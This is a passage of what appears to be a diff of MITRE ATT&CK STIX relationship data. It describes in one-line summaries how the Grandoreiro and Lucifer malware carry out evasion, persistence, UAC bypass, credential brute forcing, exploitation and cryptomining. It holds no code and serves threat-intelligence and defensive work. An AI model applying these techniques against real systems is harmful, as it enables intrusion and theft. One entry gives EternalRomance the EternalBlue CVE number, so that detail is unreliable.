"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can list installed security products including the Trusteer and Diebold Warsaw GAS Tecnologia online banking protections.(Citation: ESET Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--716975f1-af44-4d45-af4e-29ad68ce3fb3", + "type": "relationship", + "modified": "2020-11-13T21:28:41.516Z", + "created": "2020-11-13T20:23:31.016Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the username from the victim's machine.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--57de7812-f3b0-44d1-9548-856a26278568", + "type": "relationship", + "modified": "2020-11-13T20:23:31.081Z", + "created": "2020-11-13T20:23:31.081Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the computer name and OS version from a compromised host.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--68fc9cf1-d191-4ebd-af14-004519ab76d7", + "type": "relationship", + "modified": "2020-11-13T20:23:31.136Z", + "created": "2020-11-13T20:23:31.136Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can store its configuration in the Registry at HKCU\\Software\\ under frequently changing names including %USERNAME% and ToolTech-RM.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--2e53dad4-17cc-4fe6-a3b9-d622075d78f7", + "type": "relationship", + "modified": "2020-11-13T20:31:37.017Z", + "created": "2020-11-13T20:31:37.017Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the time on the victim machine via IPinfo.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--509a61b8-292e-4292-b4e8-c1c9901582ec", + "type": "relationship", + "modified": "2020-12-09T19:12:41.072Z", + "created": "2020-11-13T20:44:05.109Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the IP and physical location of the compromised host via IPinfo.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--ceebecd3-5cab-40fd-8020-f5cb06f3ccd7", + "type": "relationship", + "modified": "2020-12-09T19:12:41.089Z", + "created": "2020-11-13T20:44:05.174Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can delete .LNK files created in the Startup folder.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--855c7acd-9fa1-48a3-af4a-16de53499c3b", + "type": "relationship", + "modified": "2020-11-13T20:48:15.127Z", + "created": "2020-11-13T20:48:15.127Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can detect VMWare via its I/O port and Virtual PC via the vpcext instruction.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--8ba9be70-d849-4f64-94b8-edc4384605a5", + "type": "relationship", + "modified": "2020-11-13T21:28:40.603Z", + "created": "2020-11-13T21:28:40.603Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on process names.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--13ab9b58-b18a-437f-898e-fc598e8d0939", + "type": "relationship", + "modified": "2020-11-13T21:28:40.657Z", + "created": "2020-11-13T21:28:40.657Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on window names.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--5adc78d2-a013-4a4e-afda-9a7dd38fb5fa", + "type": "relationship", + "modified": "2020-12-09T19:12:41.205Z", + "created": "2020-11-13T21:28:40.730Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--7fea2b8f-60f8-400a-bfef-08471fb75a3e", + "type": "relationship", + "modified": "2020-12-09T19:12:41.238Z", + "created": "2020-11-13T21:28:40.778Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--7a66c52c-2ff1-4242-90d0-95a4b47181c2", + "type": "relationship", + "modified": "2020-12-09T19:12:41.269Z", + "created": "2020-11-13T21:28:40.790Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has added BMP images to the resources section of its Portable Executable (PE) file increasing each binary to at least 300MB in size.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--6ab65410-25e5-4eef-8a38-06630aa4386b", + "type": "relationship", + "modified": "2020-11-13T21:28:40.835Z", + "created": "2020-11-13T21:28:40.835Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can execute through the WinExec API.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--d06c864f-e4b8-484d-8e75-76a480509665", + "type": "relationship", + "modified": "2020-12-09T19:12:41.319Z", + "created": "2020-11-13T21:33:01.831Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can bypass UAC by registering as the default handler for .MSC files.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--c1b5ad09-6b1a-487e-bec1-af2326be5007", + "type": "relationship", + "modified": "2020-11-13T21:47:03.958Z", + "created": "2020-11-13T21:33:01.885Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can modify the binary ACL to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--47266bcb-b16a-4d95-9c10-bfc48b2f5a8b", + "type": "relationship", + "modified": "2020-12-09T19:12:41.373Z", + "created": "2020-11-13T21:48:16.981Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can parse Outlook .pst files to extract e-mail addresses.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--6231644a-5a32-4458-b950-444f84e1b476", + "type": "relationship", + "modified": "2020-12-09T19:12:41.390Z", + "created": "2020-11-13T21:50:44.860Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can send data it retrieves to the C2 server.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--3c662aa7-0ee8-4e42-b0b9-de0dc2f02a57", + "type": "relationship", + "modified": "2020-11-13T21:52:00.732Z", + "created": "2020-11-13T21:52:00.732Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and passwords.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--b7e456b1-ed5e-48f0-be6e-df3e7d6b4044", + "type": "relationship", + "modified": "2020-11-20T16:15:38.463Z", + "created": "2020-11-16T19:26:58.857Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--339746da-8c6e-4273-8e17-895d3b50fe4d", + "type": "relationship", + "modified": "2020-11-20T16:59:43.829Z", + "created": "2020-11-16T19:26:58.935Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) has the ability to identify the username on a compromised host.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--42205acc-2d23-4ea9-ac29-980b6517d908", + "type": "relationship", + "modified": "2020-11-16T19:36:31.439Z", + "created": "2020-11-16T19:36:31.439Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--aecb4057-07a2-4b44-805a-5566a4047e23", + "type": "relationship", + "modified": "2020-11-18T18:23:19.125Z", + "created": "2020-11-16T19:36:31.507Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--5473acfd-2cb3-45a8-97cb-c3962c606f1e", + "type": "relationship", + "modified": "2020-11-16T19:36:31.572Z", + "created": "2020-11-16T19:36:31.572Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can download and execute a replica of itself using [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--322a78a2-1765-414f-9b07-29a1360e1134", + "type": "relationship", + "modified": "2020-11-16T20:05:31.231Z", + "created": "2020-11-16T20:05:31.231Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--c1a8eea8-f273-4dad-8ae0-d5c93bf5467f", + "type": "relationship", + "modified": "2020-11-20T17:06:17.941Z", + "created": "2020-11-16T20:14:25.585Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can scan for open ports including TCP ports 135 and 1433.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--eacb7614-6cc9-4eb9-92fc-bba53ac4f59a", + "type": "relationship", + "modified": "2020-11-16T20:20:30.532Z", + "created": "2020-11-16T20:20:30.532Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--bfc5ca31-5d92-4c51-be33-e610df85055a", + "type": "relationship", + "modified": "2020-11-20T18:17:32.046Z", + "created": "2020-11-16T20:23:05.963Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--0493bf17-29a1-4825-b1a2-6e037288637f", + "type": "relationship", + "modified": "2020-11-16T20:29:26.342Z", + "created": "2020-11-16T20:29:26.342Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can persist by setting Registry key values HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6", + "type": "relationship", + "modified": "2020-11-16T20:36:49.663Z", + "created": "2020-11-16T20:36:49.663Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": 